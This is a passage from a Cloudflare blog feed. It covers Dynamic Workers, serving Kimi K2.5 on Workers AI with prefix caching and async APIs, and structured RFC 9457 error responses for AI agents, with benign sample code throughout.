        const app = new Hono();
        app.use('*', cors());
        app.get('/', (c) =&gt; c.text('Hello from Hono!'));
        app.get('/json', (c) =&gt; c.json({ message: 'It works!' }));

        export default app;
      `,
      "package.json": JSON.stringify({
        dependencies: { hono: "^4.0.0" }
      })
    }
  });

  return { mainModule, modules, compatibilityDate: "2026-01-01" };
});

await worker.getEntrypoint().fetch(request);
</code></pre>
            <p>It also supports full-stack apps via <code>createApp</code> — bundle a server Worker, client-side JavaScript, and static assets together, with built-in asset serving that handles content types, ETags, and SPA routing.</p><p><a href="https://www.npmjs.com/package/@cloudflare/worker-bundler"><u>Learn more about the library and how to use it.</u></a></p>
    <div>
      <h3>File manipulation</h3>
      <a href="#file-manipulation">
        
      </a>
    </div>
    <p><a href="https://www.npmjs.com/package/@cloudflare/shell"><code>@cloudflare/shell</code></a> gives your agent a virtual filesystem inside a Dynamic Worker. Agent code calls typed methods on a <code>state</code> object — read, write, search, replace, diff, glob, JSON query/update, archive — with structured inputs and outputs instead of string parsing.</p><p>Storage is backed by a durable <code>Workspace</code> (SQLite + R2), so files persist across executions. Coarse operations like <code>searchFiles</code>, <code>replaceInFiles</code>, and <code>planEdits</code> minimize RPC round-trips — the agent issues one call instead of looping over individual files. Batch writes are transactional by default: if any write fails, earlier writes roll back automatically.</p>
            <pre><code>import { Workspace } from "@cloudflare/shell";
import { stateTools } from "@cloudflare/shell/workers";
import { DynamicWorkerExecutor, resolveProvider } from "@cloudflare/codemode";

const workspace = new Workspace({
  sql: this.ctx.storage.sql, // Works with any DO's SqlStorage, D1, or custom SQL backend
  r2: this.env.MY_BUCKET, // large files spill to R2 automatically
  name: () =&gt; this.name   // lazy — resolved when needed, not at construction
});

// Code runs in an isolated Worker sandbox with no network access
const executor = new DynamicWorkerExecutor({ loader: env.LOADER });

// The LLM writes this code; `state.*` calls dispatch back to the host via RPC
const result = await executor.execute(
  `async () =&gt; {
    // Search across all TypeScript files for a pattern
    const hits = await state.searchFiles("src/**/*.ts", "answer");
    // Plan multiple edits as a single transaction
    const plan = await state.planEdits([
      { kind: "replace", path: "/src/app.ts",
        search: "42", replacement: "43" },
      { kind: "writeJson", path: "/src/config.json",
        value: { version: 2 } }
    ]);
    // Apply atomically — rolls back on failure
    return await state.applyEditPlan(plan);
  }`,
  [resolveProvider(stateTools(workspace))]
);</code></pre>
            <p>The package also ships prebuilt TypeScript type declarations and a system prompt template, so you can drop the full <code>state</code> API into your LLM context in a handful of tokens.</p><p><a href="https://www.npmjs.com/package/@cloudflare/shell"><u>Learn more about the library and how to use it.</u></a></p>
    <div>
      <h2>How are people using it?</h2>
      <a href="#how-are-people-using-it">
        
      </a>
    </div>
    
    <div>
      <h4>Code Mode</h4>
      <a href="#code-mode">
        
      </a>
    </div>
    <p>Developers want their agents to write and execute code against tool APIs, rather than making sequential tool calls one at a time. With Dynamic Workers, the LLM generates a single TypeScript function that chains multiple API calls together, runs it in a Dynamic Worker, and returns the final result back to the agent. As a result, only the output, and not every intermediate step, ends up in the context window. This cuts both latency and token usage, and produces better results, especially when the tool surface is large.</p><p>Our own <a href="https://github.com/cloudflare/mcp-server-cloudflare">Cloudflare MCP server</a> is built exactly this way: it exposes the entire Cloudflare API through just two tools — search and execute — in under 1,000 tokens, because the agent writes code against a typed API instead of navigating hundreds of individual tool definitions.</p>
    <div>
      <h4>Building custom automations </h4>
      <a href="#building-custom-automations">
        
      </a>
    </div>
    <p>Developers are using Dynamic Workers to let agents build custom automations on the fly. <a href="https://www.zite.com/"><u>Zite</u></a>, for example, is building an app platform where users interact through a chat interface — the LLM writes TypeScript behind the scenes to build CRUD apps, connect to services like Stripe, Airtable, and Google Calendar, and run backend logic, all without the user ever seeing a line of code. Every automation runs in its own Dynamic Worker, with access to only the specific services and libraries that the endpoint needs.</p><blockquote><p><i>“To enable server-side code for Zite’s LLM-generated apps, we needed an execution layer that was instant, isolated, and secure. Cloudflare’s Dynamic Workers hit the mark on all three, and out-performed all of the other platforms we benchmarked for speed and library support. The NodeJS compatible runtime supported all of Zite’s workflows, allowing hundreds of third party integrations, without sacrificing on startup time. Zite now services millions of execution requests daily thanks to Dynamic Workers.” </i></p><p><i>— </i><b><i>Antony Toron</i></b><i>, CTO and Co-Founder, Zite </i></p></blockquote>
    <div>
      <h4>Running AI-generated applications</h4>
      <a href="#running-ai-generated-applications">
        
      </a>
    </div>
    <p>Developers are building platforms that generate full applications from AI — either for their customers or for internal teams building prototypes. With Dynamic Workers, each app can be spun up on demand, then put back into cold storage until it's invoked again. Fast startup times make it easy to preview changes during active development. Platforms can also block or intercept any network requests the generated code makes, keeping AI-generated apps safe to run.</p>
    <div>
      <h2>Pricing</h2>
      <a href="#pricing">
        
      </a>
    </div>
    <p>Dynamically-loaded Workers are priced at $0.002 per unique Worker loaded per day (as of this post’s publication), in addition to the usual CPU time and invocation pricing of regular Workers.</p><p>For AI-generated "code mode" use cases, where every Worker is a unique one-off, this means the price is $0.002 per Worker loaded (plus CPU and invocations). This cost is typically negligible compared to the inference costs to generate the code.</p><p>During the beta period, the $0.002 charge is waived. As pricing is subject to change, please always check our Dynamic Workers <a href="https://developers.cloudflare.com/dynamic-workers/pricing/"><u>pricing</u></a> for the most current information. </p>
    <div>
      <h2>Get Started</h2>
      <a href="#get-started">
        
      </a>
    </div>
    <p>If you’re on the Workers Paid plan, you can start using <a href="https://developers.cloudflare.com/dynamic-workers/">Dynamic Workers</a> today. </p>
    <div>
      <h4>Dynamic Workers Starter</h4>
      <a href="#dynamic-workers-starter">
        
      </a>
    </div>
    <a href="https://deploy.workers.cloudflare.com/?url=https://github.com/cloudflare/agents/tree/main/examples/dynamic-workers"><img src="https://deploy.workers.cloudflare.com/button" /></a>
<p></p>
<p>Use this “hello world” <a href="https://github.com/cloudflare/agents/tree/main/examples/dynamic-workers">starter</a> to get a Worker deployed that can load and execute Dynamic Workers. </p>
    <div>
      <h4>Dynamic Workers Playground</h4>
      <a href="#dynamic-workers-playground">
        
      </a>
    </div>
    <a href="https://deploy.workers.cloudflare.com/?url=https://github.com/cloudflare/agents/tree/main/examples/dynamic-workers-playground"><img src="https://deploy.workers.cloudflare.com/button" /></a>
<p></p><p>You can also deploy the <a href="https://github.com/cloudflare/agents/tree/main/examples/dynamic-workers-playground">Dynamic Workers Playground</a>, where you’ll be able to write or import code, bundle it at runtime with <code>@cloudflare/worker-bundler</code>, execute it through a Dynamic Worker, see real-time responses and execution logs. </p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/32d0ficYALnSneKc4jZPja/0d4d07d747fc14936f16071714b7a8e5/BLOG-3243_2.png" />
          </figure><p>Dynamic Workers are fast, scalable, and lightweight. <a href="https://discord.com/channels/595317990191398933/1460655307255578695"><u>Find us on Discord</u></a> if you have any questions. We’d love to see what you build!</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/mQOJLnMtXULmj6l3DgKZg/ef2ee4cef616bc2d9a7caf35df5834f5/BLOG-3243_3.png" />
          </figure><p></p> ]]></content:encoded>
            <category><![CDATA[MCP]]></category>
            <category><![CDATA[Workers AI]]></category>
            <category><![CDATA[AI]]></category>
            <category><![CDATA[Agents]]></category>
            <category><![CDATA[Developer Platform]]></category>
            <category><![CDATA[Developers]]></category>
            <guid isPermaLink="false">1tc7f8AggVLw5D8OmaZri5</guid>
            <dc:creator>Kenton Varda</dc:creator>
            <dc:creator>Sunil Pai</dc:creator>
            <dc:creator>Ketan Gupta</dc:creator>
        </item>
        <item>
            <title><![CDATA[Powering the agents: Workers AI now runs large models, starting with Kimi K2.5]]></title>
            <link>https://blog.cloudflare.com/workers-ai-large-models/</link>
            <pubDate>Thu, 19 Mar 2026 19:53:16 GMT</pubDate>
            <description><![CDATA[ Kimi K2.5 is now on Workers AI, helping you power agents entirely on Cloudflare’s Developer Platform. Learn how we optimized our inference stack and reduced inference costs for internal agent use cases.  ]]></description>
            <content:encoded><![CDATA[ <p>We're making Cloudflare the best place for building and deploying agents. But reliable agents aren't built on prompts alone; they require a robust, coordinated infrastructure of underlying primitives. </p><p>At Cloudflare, we have been building these primitives for years: <a href="https://developers.cloudflare.com/durable-objects/"><u>Durable Objects</u></a> for state persistence, <a href="https://developers.cloudflare.com/workflows/"><u>Workflows</u></a> for long running tasks, and <a href="https://developers.cloudflare.com/workers/runtime-apis/bindings/worker-loader/"><u>Dynamic Workers</u></a> or <a href="https://developers.cloudflare.com/sandbox/"><u>Sandbox</u></a> containers for secure execution. Powerful abstractions like the <a href="https://developers.cloudflare.com/agents/"><u>Agents SDK</u></a> are designed to help you build agents on top of Cloudflare’s Developer Platform.</p><p>But these primitives only provided the execution environment. The agent still needed a model capable of powering it. </p><p>Starting today, Workers AI is officially in the big models game. We now offer frontier open-source models on our AI inference platform. We’re starting by releasing <a href="https://www.kimi.com/blog/kimi-k2-5"><u>Moonshot AI’s Kimi K2.5</u></a> model <a href="https://developers.cloudflare.com/workers-ai/models/kimi-k2.5"><u>on Workers AI</u></a>. With a full 256k context window and support for multi-turn tool calling, vision inputs, and structured outputs, the Kimi K2.5 model is excellent for all kinds of agentic tasks. By bringing a frontier-scale model directly into the Cloudflare Developer Platform, we’re making it possible to run the entire agent lifecycle on a single, unified platform.</p><p>The heart of an agent is the AI model that powers it, and that model needs to be smart, with high reasoning capabilities and a large context window. Workers AI now runs those models.</p>
    <div>
      <h2>The price-performance sweet spot</h2>
      <a href="#the-price-performance-sweet-spot">
        
      </a>
    </div>
    <p>We spent the last few weeks testing Kimi K2.5 as the engine for our internal development tools. Within our <a href="https://opencode.ai/"><u>OpenCode</u></a> environment, Cloudflare engineers use Kimi as a daily driver for agentic coding tasks. We have also integrated the model into our automated code review pipeline; you can see this in action via our public code review agent, <a href="https://github.com/ask-bonk/ask-bonk"><u>Bonk</u></a>, on Cloudflare GitHub repos. In production, the model has proven to be a fast, efficient alternative to larger proprietary models without sacrificing quality.</p><p>Serving Kimi K2.5 began as an experiment, but it quickly became critical after reviewing how the model performs and how cost-efficient it is. As an illustrative example: we have an agent that does security reviews of Cloudflare’s codebases. This agent processes over 7B tokens per day, and using Kimi, it has caught more than 15 confirmed issues in a single codebase. Doing some rough math, if we had run this agent on a mid-tier proprietary model, we would have spent $2.4M a year for this single use case, on a single codebase. Running this agent with Kimi K2.5 cost just a fraction of that: we cut costs by 77% simply by making the switch to Workers AI.</p><p>As AI adoption increases, we are seeing a fundamental shift not only in how engineering teams are operating, but how individuals are operating. It is becoming increasingly common for people to have a personal agent like <a href="https://openclaw.ai/"><u>OpenClaw</u></a> running 24/7. The volume of inference is skyrocketing.</p><p>This new rise in personal and coding agents means that cost is no longer a secondary concern; it is the primary blocker to scaling. When every employee has multiple agents processing hundreds of thousands of tokens per hour, the math for proprietary models stops working. Enterprises will look to transition to open-source models that offer frontier-level reasoning without the proprietary price tag. Workers AI is here to facilitate this shift, providing everything from serverless endpoints for a personal agent to dedicated instances powering autonomous agents across an entire organization.</p>
    <div>
      <h2>The large model inference stack</h2>
      <a href="#the-large-model-inference-stack">
        
      </a>
    </div>
    <p>Workers AI has served models, including LLMs, since its launch two years ago, but we’ve historically prioritized smaller models. Part of the reason was that for some time, open-source LLMs fell far behind the models from frontier model labs. This changed with models like Kimi K2.5, but to serve this type of very large LLM, we had to make changes to our inference stack. We wanted to share with you some of what goes on behind the scenes to support a model like Kimi.</p><p>We’ve been working on custom kernels for Kimi K2.5 to optimize how we serve the model, which is built on top of our proprietary <a href="https://blog.cloudflare.com/cloudflares-most-efficient-ai-inference-engine/"><u>Infire inference engine</u></a>. Custom kernels improve the model’s performance and GPU utilization, unlocking gains that would otherwise go unclaimed if you were just running the model out of the box. There are also multiple techniques and hardware configurations that can be leveraged to serve a large model. Developers typically use a combination of data, tensor, and expert parallelization techniques to optimize model performance. Strategies like disaggregated prefill are also important, in which you separate the prefill and generation stages onto different machines in order to get better throughput or higher GPU utilization. Implementing these techniques and incorporating them into the inference stack takes a lot of dedicated experience to get right. </p><p>Workers AI has already done the experimentation with serving techniques to yield excellent throughput on Kimi K2.5. A lot of this does not come out of the box when you self-host an open-source model. The benefit of using a platform like Workers AI is that you don’t need to be a Machine Learning Engineer, a DevOps expert, or a Site Reliability Engineer to do the optimizations required to host it: we’ve already done the hard part, you just need to call an API.</p>
    <div>
      <h2>Beyond the model — platform improvements for agentic workloads</h2>
      <a href="#beyond-the-model-platform-improvements-for-agentic-workloads">
        
      </a>
    </div>
    <p>In concert with this launch, we’ve also improved our platform and are releasing several new features to help you build better agents.</p>
    <div>
      <h3>Prefix caching and surfacing cached tokens</h3>
      <a href="#prefix-caching-and-surfacing-cached-tokens">
        
      </a>
    </div>
    <p>When you work with agents, you are likely sending a large number of input tokens as part of the context: this could be detailed system prompts, tool definitions, MCP server tools, or entire codebases. Inputs can be as large as the model context window, so in theory, you could be sending requests with almost 256k input tokens. That’s a lot of tokens.</p><p>When an LLM processes a request, the request is broken down into two stages: the prefill stage processes input tokens and the output stage generates output tokens. These stages are usually sequential, where input tokens have to be fully processed before you can generate output tokens. This means that sometimes the GPU is not fully utilized while the model is doing prefill.</p><p>With multi-turn conversations, when you send a new prompt, the client sends all the previous prompts, tools, and context from the session to the model as well. The delta between consecutive requests is usually just a few new lines of input; all the other context has already gone through the prefill stage during a previous request. This is where prefix caching helps. Instead of doing prefill on the entire request, we can cache the input tensors from a previous request, and only do prefill on the new input tokens. This saves a lot of time and compute from the prefill stage, which means a faster Time to First Token (TTFT) and a higher Tokens Per Second (TPS) throughput as you’re not blocked on prefill.</p><p>Workers AI has always done prefix caching, but we are now surfacing cached tokens as a usage metric and offering a discount on cached tokens compared to input tokens. (Pricing can be found on the <a href="https://developers.cloudflare.com/workers-ai/models/kimi-k2.5/"><u>model page</u></a>.) We also have new techniques for you to leverage in order to get a higher prefix cache hit rate, reducing your costs.</p>
    <div>
      <h3>New session affinity header for higher cache hit rates</h3>
      <a href="#new-session-affinity-header-for-higher-cache-hit-rates">
        
      </a>
    </div>
    <p>In order to route to the same model instance and take advantage of prefix caching, we use a new <code>x-session-affinity</code> header. When you send this header, you’ll improve your cache hit ratio, leading to more cached tokens and subsequently, faster TTFT, TPS, and lower inference costs.</p><p>You can pass the new header like below, with a unique string per session or per agent. Some clients like OpenCode implement this automatically out of the box. Our <a href="https://github.com/cloudflare/agents-starter"><u>Agents SDK starter</u></a> has already set up the wiring to do this for you, too.</p>
            <pre><code>curl -X POST \
"https://api.cloudflare.com/client/v4/accounts/{ACCOUNT_ID}/ai/run/@cf/moonshotai/kimi-k2.5" \
  -H "Authorization: Bearer {API_TOKEN}" \
  -H "Content-Type: application/json" \
  -H "x-session-affinity: ses_12345678" \
  -d '{
    "messages": [
      {
        "role": "system",
        "content": "You are a helpful assistant."
      },
      {
        "role": "user",
        "content": "What is prefix caching and why does it matter?"
      }
    ],
    "max_tokens": 2400,
    "stream": true
  }'
</code></pre>
            
    <div>
      <h3>Redesigned async APIs</h3>
      <a href="#redesigned-async-apis">
        
      </a>
    </div>
    <p>Serverless inference is really hard. With a pay-per-token business model, it’s cheaper on a single request basis because you don’t need to pay for entire GPUs to service your requests. But there’s a trade-off: you have to contend with other people’s traffic and capacity constraints, and there’s no strict guarantee that your request will be processed. This is not unique to Workers AI — it’s evidently the case across serverless model providers, given the frequent news reports of overloaded providers and service disruptions. While we always strive to serve your request and have built-in autoscaling and rebalancing, there are hard limitations (like hardware) that make this a challenge.</p><p>For volumes of requests that would exceed synchronous rate limits, you can submit batches of inferences to be completed asynchronously. We’re introducing a revamped Asynchronous API, which means that for asynchronous use cases, you won’t run into Out of Capacity errors and inference will execute durably at some point. Our async API looks more like flex processing than a batch API, where we process requests in the async queue as long as we have headroom in our model instances. With internal testing, our async requests usually execute within 5 minutes, but this will depend on what live traffic looks like. As we bring Kimi to the public, we will tune our scaling accordingly, but the async API is the best way to make sure you don’t run into capacity errors in durable workflows. This is perfect for use cases that are not real-time, such as code scanning agents or research agents.</p><p>Workers AI previously had an asynchronous API, but we’ve recently revamped the systems under the hood. We now rely on a pull-based system versus the historical push-based system, allowing us to pull in queued requests as soon as we have capacity. We’ve also added better controls to tune the throughput of async requests, monitoring GPU utilization in real-time and pulling in async requests when utilization is low, so that critical synchronous requests get priority while still processing asynchronous requests efficiently.</p><p>To use the asynchronous API, you would send your requests as seen below. We also have a way to <a href="https://developers.cloudflare.com/workers-ai/platform/event-subscriptions/"><u>set up event notifications</u></a> so that you can know when the inference is complete instead of polling for the request. </p>
            <pre><code>// (1.) Push a request in queue
// pass queueRequest: true
let res = await env.AI.run("@cf/moonshotai/kimi-k2.5", {
  "requests": [{
    "messages": [{
      "role": "user",
      "content": "Tell me a joke"
    }]
  }, {
    "messages": [{
      "role": "user",
      "content": "Explain the Pythagoras theorem"
    }]
  }, ...{&lt;add more requests in a batch&gt;} ];
}, {
  queueRequest: true,
});


// (2.) grab the request id
let request_id;
if(res &amp;&amp; res.request_id){
  request_id = res.request_id;
}
// (3.) poll the status
let res = await env.AI.run("@cf/moonshotai/kimi-k2.5", {
  request_id: request_id
});

if(res &amp;&amp; res.status === "queued" || res.status === "running") {
 // retry by polling again
 ...
}
else 
 return Response.json(res); // This will contain the final completed response 
</code></pre>
            
    <div>
      <h2>Try it out today</h2>
      <a href="#try-it-out-today">
        
      </a>
    </div>
    <p>Get started with Kimi K2.5 on Workers AI today. You can read our developer docs to find out <a href="https://developers.cloudflare.com/workers-ai/models/kimi-k2.5/"><u>model information and pricing</u></a>, and how to take advantage of <a href="https://developers.cloudflare.com/workers-ai/features/prompt-caching/"><u>prompt caching via session affinity headers</u></a> and <a href="https://developers.cloudflare.com/workers-ai/features/batch-api/"><u>asynchronous API</u></a>. The <a href="https://github.com/cloudflare/agents-starter"><u>Agents SDK starter</u></a> also now uses Kimi K2.5 as its default model. You can also <a href="https://opencode.ai/docs/providers/"><u>connect to Kimi K2.5 on Workers AI via Opencode</u></a>. For a live demo, try it in our <a href="https://playground.ai.cloudflare.com/"><u>playground</u></a>.</p><p>And if this set of problems around serverless inference, ML optimizations, and GPU infrastructure sound  interesting to you — <a href="https://job-boards.greenhouse.io/cloudflare/jobs/6297179?gh_jid=6297179"><u>we’re hiring</u></a>!</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/36JzF0zePj2z7kZQK8Q2fg/73b0a7206d46f0eef170ffd1494dc4b3/BLOG-3247_2.png" />
          </figure><p></p> ]]></content:encoded>
            <category><![CDATA[Developer Platform]]></category>
            <category><![CDATA[Developers]]></category>
            <category><![CDATA[Workers AI]]></category>
            <category><![CDATA[Cloudflare Workers]]></category>
            <category><![CDATA[AI]]></category>
            <category><![CDATA[Agents]]></category>
            <guid isPermaLink="false">1wSO33KRdd5aUPAlSVDiqU</guid>
            <dc:creator>Michelle Chen</dc:creator>
            <dc:creator>Kevin Flansburg</dc:creator>
            <dc:creator>Ashish Datta</dc:creator>
            <dc:creator>Kevin Jain</dc:creator>
        </item>
        <item>
            <title><![CDATA[Slashing agent token costs by 98% with RFC 9457-compliant error responses]]></title>
            <link>https://blog.cloudflare.com/rfc-9457-agent-error-pages/</link>
            <pubDate>Wed, 11 Mar 2026 13:05:00 GMT</pubDate>
            <description><![CDATA[ Cloudflare now returns RFC 9457-compliant structured Markdown and JSON error payloads to AI agents, replacing heavyweight HTML pages with machine-readable instructions. This reduces token usage by over 98%, turning brittle parsing into efficient control flow. ]]></description>
            <content:encoded><![CDATA[ <p>AI agents are no longer experiments. They are production infrastructure, making billions of HTTP requests per day, navigating the web, calling APIs, and orchestrating complex workflows.</p><p>But when these agents hit an error, they still receive the same HTML error pages we built for browsers: hundreds of lines of markup, CSS, and copy designed for human eyes. Those pages give agents clues, not instructions, and waste time and tokens. That gap is the opportunity to give agents instructions, not obstacles.</p><p>Starting today, Cloudflare returns <a href="https://www.rfc-editor.org/rfc/rfc9457">RFC 9457</a>-compliant structured Markdown and JSON error payloads to AI agents, replacing heavyweight HTML pages with machine-readable instructions.</p><p>That means when an agent sends <code>Accept: text/markdown</code>, <code>Accept: application/json</code>, or <code>Accept: application/problem+json</code> and encounters a Cloudflare error, we return one semantic contract in a structured format instead of HTML. And it comes complete with actionable guidance. (This builds on our recent <a href="https://blog.cloudflare.com/markdown-for-agents/">Markdown for Agents</a> release.)</p><p>So instead of being told only "You were blocked," the agent will read: "You were rate-limited — wait 30 seconds and retry with exponential backoff." Instead of just "Access denied," the agent will be instructed: "This block is intentional: do not retry, contact the site owner."</p><p>These responses are not just clearer — they are dramatically more efficient. Structured error responses cut payload size and token usage by more than 98% versus HTML, measured against a live 1015 ('rate-limit') error response. For agents that hit multiple errors in a workflow, the savings compound quickly.</p><p>This is live across the Cloudflare network, automatically. Site owners do not need to configure anything. Browsers keep getting the same HTML experience as before.</p><p>These are not just error pages. They are instructions for the agentic web.</p>
    <div>
      <h3>What agents see today</h3>
      <a href="#what-agents-see-today">
        
      </a>
    </div>
    <p>When an agent receives a Cloudflare-generated error, it usually means Cloudflare is enforcing customer policy or returning a platform response on the customer's behalf — not that Cloudflare is down. These responses are triggered when a request cannot be served as-is, such as invalid host or DNS routing, customer-defined access controls (WAF, geo, ASN, or bot rules), or edge-enforced limits like rate limiting. In short, Cloudflare is acting as the customer's routing and security layer, and the response explains why the request was blocked or could not proceed.</p><p>Today, those responses are rendered as HTML designed for humans:</p>
            <pre><code>&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
&lt;title&gt;Access denied | example.com used Cloudflare to restrict access&lt;/title&gt;
&lt;style&gt;/* 200 lines of CSS */&lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;
  &lt;div class="cf-wrapper"&gt;
    &lt;h1 data-translate="block_headline"&gt;Sorry, you have been blocked&lt;/h1&gt;
    &lt;!-- ... hundreds more lines ... --&gt;
  &lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre>
            <p>To an agent, this is garbage. It cannot determine what error occurred, why it was blocked, or whether retrying will help. Even if it parses the HTML, the content describes the error but doesn't tell the agent — or the human, for that matter — what to do next.</p><p>If you're an agent developer and you wanted to handle Cloudflare errors gracefully, your options were limited. For Cloudflare-generated errors, structured responses existed only in configuration-dependent paths, not as a consistent default for agents.</p><p>Custom Error Rules can customize many Cloudflare errors, including some 1xxx cases. But they depend on per-site configuration, so they cannot serve as a universal agent contract across the web. Cloudflare sits in front of the request path. That means we can define a default machine response: retry or stop, wait and back off, escalate or reroute. Error pages stop being decoration and become execution instructions.</p>
    <div>
      <h3>What we did</h3>
      <a href="#what-we-did">
        
      </a>
    </div>
    <p>Cloudflare now returns RFC 9457-compliant structured responses for all 1xxx-class error paths — Cloudflare's platform error codes for edge-side failures like DNS resolution issues, access denials, and rate limits. Both formats are live: <code>Accept: text/markdown</code> returns Markdown, <code>Accept: application/json</code> returns JSON, and <code>Accept: application/problem+json</code> returns JSON with the <code>application/problem+json</code> content type.</p><p>This covers all 1xxx-class errors today. The same contract will extend to Cloudflare-generated 4xx and 5xx errors next.</p><p>Markdown responses have two parts:</p><ul><li><p>YAML frontmatter for machine-readable fields</p></li><li><p>prose sections for explicit guidance (<code>What happened</code> and <code>What you should do</code>)</p></li></ul><p>JSON responses carry the same fields as a flat object.</p><p>The YAML frontmatter is the critical layer for automation. It lets an agent extract stable keys without scraping HTML or guessing intent from copy. Fields like <code>error_code</code>, <code>error_name</code>, and <code>error_category</code> let the agent classify the failure. <code>retryable</code> and <code>retry_after</code> drive backoff logic. <code>owner_action_required</code> tells the agent whether to keep trying or escalate. <code>ray_id</code>, <code>timestamp</code>, and <code>zone</code> make logs and support handoffs deterministic.</p><p>The schema is stable by design, so agents can implement durable control flow without chasing presentation changes.</p><p>That stability is not a Cloudflare invention. <a href="https://www.rfc-editor.org/rfc/rfc9457">RFC 9457 — Problem Details for HTTP APIs</a> defines a standard JSON shape for reporting errors over HTTP, so clients can parse error responses without knowing the specific API in advance. Our JSON responses follow this shape, which means any HTTP client that understands Problem Details can parse the base members without Cloudflare-specific code:</p><table><tr><td><p><b>RFC 9457 member</b></p></td><td><p><b>What it contains</b></p></td></tr><tr><td><p><code>type</code></p></td><td><p>A URI pointing to Cloudflare's documentation for the specific error code</p></td></tr><tr><td><p><code>status</code></p></td><td><p>The HTTP status code (matching the actual response status)</p></td></tr><tr><td><p><code>title</code></p></td><td><p>A short, human-readable summary of the problem</p></td></tr><tr><td><p><code>detail</code></p></td><td><p>A human-readable explanation specific to this occurrence</p></td></tr><tr><td><p><code>instance</code></p></td><td><p>The Ray ID identifying this specific error occurrence</p></td></tr></table><p>The operational fields — <code>error_code</code>, <code>error_category</code>, <code>retryable</code>, <code>retry_after</code>, <code>owner_action_required</code>, and more — are RFC 9457 extension members. Clients that don't recognize them simply ignore them.</p><p>This is network-wide and additive. Site owners do not need to configure anything. Browsers keep receiving HTML unless clients explicitly ask for Markdown or JSON.</p>
    <div>
      <h3>What the response looks like</h3>
      <a href="#what-the-response-looks-like">
        
      </a>
    </div>
    <p>Here is what a rate-limit error (<code>1015</code>) looks like in JSON:</p>
            <pre><code>{
  "type": "https://developers.cloudflare.com/support/troubleshooting/http-status-codes/cloudflare-1xxx-errors/error-1015/",
  "title": "Error 1015: You are being rate limited",
  "status": 429,
  "detail": "You are being rate-limited by the website owner's configuration.",
  "instance": "9d99a4434fz2d168",
  "error_code": 1015,
  "error_name": "rate_limited",
  "error_category": "rate_limit",
  "ray_id": "9d99a4434fz2d168",
  "timestamp": "2026-03-09T11:11:55Z",
  "zone": "&lt;YOUR_DOMAIN&gt;",
  "cloudflare_error": true,
  "retryable": true,
  "retry_after": 30,
  "owner_action_required": false,
  "what_you_should_do": "**Wait and retry.** This block is transient. Wait at least 30 seconds, then retry with exponential backoff.\n\nRecommended approach:\n1. Wait 30 seconds before your next request\n2. If rate-limited again, double the wait time (60s, 120s, etc.)\n3. If rate-limiting persists after 5 retries, stop and reassess your request pattern",
  "footer": "This error was generated by Cloudflare on behalf of the website owner."
}</code></pre>
            <p>The same error in Markdown, optimized for model-first workflows:</p>
            <pre><code>---
error_code: 1015
error_name: rate_limited
error_category: rate_limit
status: 429
ray_id: 9d99a39dc992d168
timestamp: 2026-03-09T11:11:28Z
zone: &lt;YOUR_DOMAIN&gt;
cloudflare_error: true
retryable: true
retry_after: 30
owner_action_required: false
---

# Error 1015: You are being rate limited

## What Happened

You are being rate-limited by the website owner's configuration.

## What You Should Do

**Wait and retry.** This block is transient. Wait at least 30 seconds, then retry with exponential backoff.

Recommended approach:
1. Wait 30 seconds before your next request
2. If rate-limited again, double the wait time (60s, 120s, etc.)
3. If rate-limiting persists after 5 retries, stop and reassess your request pattern

---
This error was generated by Cloudflare on behalf of the website owner.
</code></pre>
            <p>Both formats give an agent everything it needs to decide and act: classify the error, choose retry behavior, and determine whether escalation is required. This is what a default machine contract looks like — not per-site configuration, but network-wide behavior. The contrast is explicit across error families: a transient error like <code>1015</code> says wait and retry, while intentional blocks like <code>1020</code> or geographic restrictions like <code>1009</code> tell the agent not to retry and to escalate instead.</p>
    <div>
      <h3>One contract, two formats</h3>
      <a href="#one-contract-two-formats">
        
      </a>
    </div>
    <p>The core value is not format choice. It is semantic stability.</p><p>Agents need deterministic answers to operational questions: retry or not, how long to wait, and whether to escalate. Cloudflare exposes one policy contract across two wire formats. Whether a client consumes Markdown or JSON, the operational meaning is identical: same error identity, same retry/backoff signals, same escalation guidance.</p><p>Clients that send <code>Accept: application/problem+json</code> get <code>application/problem+json; charset=utf-8</code> back — useful for HTTP client libraries that dispatch on media type. Clients that send <code>Accept: application/json</code> get <code>application/json; charset=utf-8</code> — same body, safe default for existing consumers.</p>
    <div>
      <h3>Size reduction and token efficiency</h3>
      <a href="#size-reduction-and-token-efficiency">
        
      </a>
    </div>
    <p>That contract is also dramatically smaller than what it replaces. Cloudflare HTML error pages are browser-oriented and heavy, while structured responses are compact by design.</p><p>Measured comparison for <code>1015</code>:</p><table><tr><td><p><b>Payload</b></p></td><td><p><b>Bytes</b></p></td><td><p><b>Tokens (cl100k_base)</b></p></td><td><p><b>Size vs HTML</b></p></td><td><p><b>Token vs HTML</b></p></td></tr><tr><td><p>HTML response</p></td><td><p>46,645</p></td><td><p>14,252</p></td><td><p>—</p></td><td><p>—</p></td></tr><tr><td><p>Markdown response</p></td><td><p>798</p></td><td><p>221</p></td><td><p>58.5x less</p></td><td><p>64.5x less</p></td></tr><tr><td><p>JSON response</p></td><td><p>970</p></td><td><p>256</p></td><td><p>48.1x less</p></td><td><p>55.7x less</p></td></tr></table><p>Both structured formats deliver a ~98% reduction in size and tokens versus HTML. For agents, size translates directly into token cost — when an agent hits multiple errors in one run, these savings compound into lower model spend and faster recovery loops.</p>
    <div>
      <h3>Ten categories, clear actions</h3>
      <a href="#ten-categories-clear-actions">
        
      </a>
    </div>
